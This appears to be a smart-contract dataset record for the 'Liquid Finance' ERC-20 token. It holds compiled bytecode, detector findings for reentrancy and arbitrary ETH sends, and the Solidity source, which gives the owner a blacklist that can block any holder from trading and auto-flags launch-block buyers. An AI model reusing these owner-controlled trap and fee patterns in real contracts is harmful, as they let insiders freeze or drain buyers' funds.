ffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6009600a819055506009600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af57600f600a81905550600f600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bd3efa80b8dc41e0f57d69b03a85832cdfe041533cabc0e0a8e59252b599c1d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,110 |
0xa0d15e73cbe7352e7e3db7679c5d05bbf48994dc
|
//SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/liquidfinance
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LIQFIN is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Liquid Finance";
string public constant symbol = unicode"LiqFin";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 15;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 15 && sell < 15 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e91906119e0565b34801561027a57600080fd5b5061028e610289366004611a5a565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611a86565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e610344366004611aa8565b610704565b34801561035557600080fd5b50610214610758565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611aff565b610768565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611bc4565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611be1565b6107f4565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610895565b34801561048157600080fd5b50610214610490366004611bc4565b6108c2565b3480156104a157600080fd5b506102be6108dd565b3480156104b657600080fd5b506102be6104c5366004611bc4565b610951565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be610555366004611a86565b6109bf565b34801561056657600080fd5b5061028e610575366004611a5a565b610a14565b34801561058657600080fd5b506102be610595366004611aff565b610a21565b3480156105a657600080fd5b506102be610b3a565b3480156105bb57600080fd5b506102be610b70565b3480156105d057600080fd5b50610214610c12565b3480156105e557600080fd5b506102be6105f4366004611c08565b610c2a565b34801561060557600080fd5b50610214610614366004611c25565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610c9d565b6000610661338484610fe3565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600f8210801561069a5750600f81105b80156106a75750600a5482105b80156106b45750600b5481105b6106bd57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6000610711848484611107565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610740908490611c74565b905061074d853383610fe3565b506001949350505050565b6000610763306108c2565b905090565b6008546001600160a01b0316336001600160a01b03161461078857600080fd5b60005b81518110156107f0576000600560008484815181106107ac576107ac611c8b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e881611ca1565b91505061078b565b5050565b6008546001600160a01b0316336001600160a01b03161461081457600080fd5b600081116108595760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181